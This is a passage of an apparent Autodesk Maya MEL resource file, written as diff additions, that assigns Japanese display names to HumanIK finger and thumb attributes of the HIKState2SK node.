のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreRy", "左手薬指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreRz", "左手薬指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostR", "左手薬指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostRx", "左手薬指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostRy", "左手薬指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostRz", "左手薬指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3T", "左手薬指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Tx", "左手薬指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Ty", "左手薬指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Tz", "左手薬指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3R", "左手薬指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Rx", "左手薬指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Ry", "左手薬指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Rz", "左手薬指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3S", "左手薬指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Sx", "左手薬指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Sy", "左手薬指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Sz", "左手薬指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PGX", "左手薬指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ROrder", "左手薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3SC", "左手薬指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3IS", "左手薬指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ISx", "左手薬指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ISy", "左手薬指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ISz", "左手薬指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreR", "左手薬指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreRx", "左手薬指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreRy", "左手薬指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreRz", "左手薬指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostR", "左手薬指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostRx", "左手薬指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostRy", "左手薬指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostRz", "左手薬指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4T", "左手薬指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Tx", "左手薬指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Ty", "左手薬指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Tz", "左手薬指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4R", "左手薬指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Rx", "左手薬指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Ry", "左手薬指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Rz", "左手薬指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4S", "左手薬指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Sx", "左手薬指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Sy", "左手薬指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Sz", "左手薬指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PGX", "左手薬指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ROrder", "左手薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4SC", "左手薬指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4IS", "左手薬指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ISx", "左手薬指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ISy", "左手薬指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ISz", "左手薬指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreR", "左手薬指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreRx", "左手薬指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreRy", "左手薬指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreRz", "左手薬指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostR", "左手薬指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostRx", "左手薬指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostRy", "左手薬指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostRz", "左手薬指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1T", "左手小指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Tx", "左手小指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Ty", "左手小指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Tz", "左手小指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1R", "左手小指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Rx", "左手小指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Ry", "左手小指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Rz", "左手小指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1S", "左手小指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Sx", "左手小指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Sy", "左手小指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Sz", "左手小指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PGX", "左手小指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ROrder", "左手小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1SC", "左手小指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1IS", "左手小指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ISx", "左手小指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ISy", "左手小指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ISz", "左手小指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreR", "左手小指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreRx", "左手小指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreRy", "左手小指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreRz", "左手小指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostR", "左手小指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostRx", "左手小指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostRy", "左手小指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostRz", "左手小指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2T", "左手小指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Tx", "左手小指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Ty", "左手小指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Tz", "左手小指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2R", "左手小指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Rx", "左手小指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Ry", "左手小指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Rz", "左手小指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2S", "左手小指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Sx", "左手小指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Sy", "左手小指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Sz", "左手小指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PGX", "左手小指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ROrder", "左手小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2SC", "左手小指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2IS", "左手小指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ISx", "左手小指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ISy", "左手小指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ISz", "左手小指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreR", "左手小指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreRx", "左手小指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreRy", "左手小指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreRz", "左手小指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostR", "左手小指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostRx", "左手小指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostRy", "左手小指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostRz", "左手小指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3T", "左手小指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Tx", "左手小指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Ty", "左手小指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Tz", "左手小指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3R", "左手小指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Rx", "左手小指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Ry", "左手小指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Rz", "左手小指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3S", "左手小指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Sx", "左手小指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Sy", "左手小指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Sz", "左手小指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PGX", "左手小指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ROrder", "左手小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3SC", "左手小指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3IS", "左手小指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ISx", "左手小指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ISy", "左手小指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ISz", "左手小指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreR", "左手小指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreRx", "左手小指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreRy", "左手小指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreRz", "左手小指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostR", "左手小指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostRx", "左手小指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostRy", "左手小指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostRz", "左手小指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4T", "左手小指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Tx", "左手小指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Ty", "左手小指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Tz", "左手小指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4R", "左手小指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Rx", "左手小指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Ry", "左手小指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Rz", "左手小指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4S", "左手小指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Sx", "左手小指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Sy", "左手小指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Sz", "左手小指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PGX", "左手小指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ROrder", "左手小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4SC", "左手小指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4IS", "左手小指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ISx", "左手小指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ISy", "左手小指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ISz", "左手小指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreR", "左手小指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreRx", "左手小指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreRy", "左手小指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreRz", "左手小指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostR", "左手小指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostRx", "左手小指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostRy", "左手小指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostRz", "左手小指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1T", "左手追加指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Tx", "左手追加指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Ty", "左手追加指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Tz", "左手追加指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1R", "左手追加指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Rx", "左手追加指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Ry", "左手追加指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Rz", "左手追加指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1S", "左手追加指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Sx", "左手追加指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Sy", "左手追加指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Sz", "左手追加指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PGX", "左手追加指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", "左手追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1SC", "左手追加指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1IS", "左手追加指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ISx", "左手追加指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ISy", "左手追加指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ISz", "左手追加指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreR", "左手追加指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreRx", "左手追加指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreRy", "左手追加指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreRz", "左手追加指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostR", "左手追加指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostRx", "左手追加指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostRy", "左手追加指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostRz", "左手追加指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2T", "左手追加指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Tx", "左手追加指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Ty", "左手追加指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Tz", "左手追加指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2R", "左手追加指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Rx", "左手追加指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Ry", "左手追加指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Rz", "左手追加指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2S", "左手追加指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Sx", "左手追加指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Sy", "左手追加指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Sz", "左手追加指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PGX", "左手追加指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", "左手追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2SC", "左手追加指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2IS", "左手追加指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ISx", "左手追加指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ISy", "左手追加指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ISz", "左手追加指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreR", "左手追加指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreRx", "左手追加指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreRy", "左手追加指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreRz", "左手追加指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostR", "左手追加指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostRx", "左手追加指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostRy", "左手追加指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostRz", "左手追加指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3T", "左手追加指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Tx", "左手追加指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Ty", "左手追加指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Tz", "左手追加指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3R", "左手追加指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Rx", "左手追加指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Ry", "左手追加指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Rz", "左手追加指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3S", "左手追加指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Sx", "左手追加指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Sy", "左手追加指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Sz", "左手追加指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PGX", "左手追加指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", "左手追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3SC", "左手追加指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3IS", "左手追加指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ISx", "左手追加指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ISy", "左手追加指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ISz", "左手追加指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreR", "左手追加指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreRx", "左手追加指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreRy", "左手追加指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreRz", "左手追加指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostR", "左手追加指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostRx", "左手追加指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostRy", "左手追加指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostRz", "左手追加指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4T", "左手追加指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Tx", "左手追加指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Ty", "左手追加指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Tz", "左手追加指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4R", "左手追加指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Rx", "左手追加指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Ry", "左手追加指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Rz", "左手追加指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4S", "左手追加指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Sx", "左手追加指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Sy", "左手追加指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Sz", "左手追加指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PGX", "左手追加指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", "左手追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4SC", "左手追加指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4IS", "左手追加指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ISx", "左手追加指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ISy", "左手追加指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4ISz", "左手追加指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreR", "左手追加指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreRx", "左手追加指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreRy", "左手追加指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PreRz", "左手追加指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostR", "左手追加指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostRx", "左手追加指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostRy", "左手追加指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4PostRz", "左手追加指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1T", "右手親指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Tx", "右手親指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Ty", "右手親指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Tz", "右手親指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1R", "右手親指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Rx", "右手親指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Ry", "右手親指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Rz", "右手親指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1S", "右手親指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Sx", "右手親指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Sy", "右手親指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1Sz", "右手親指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PGX", "右手親指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ROrder", 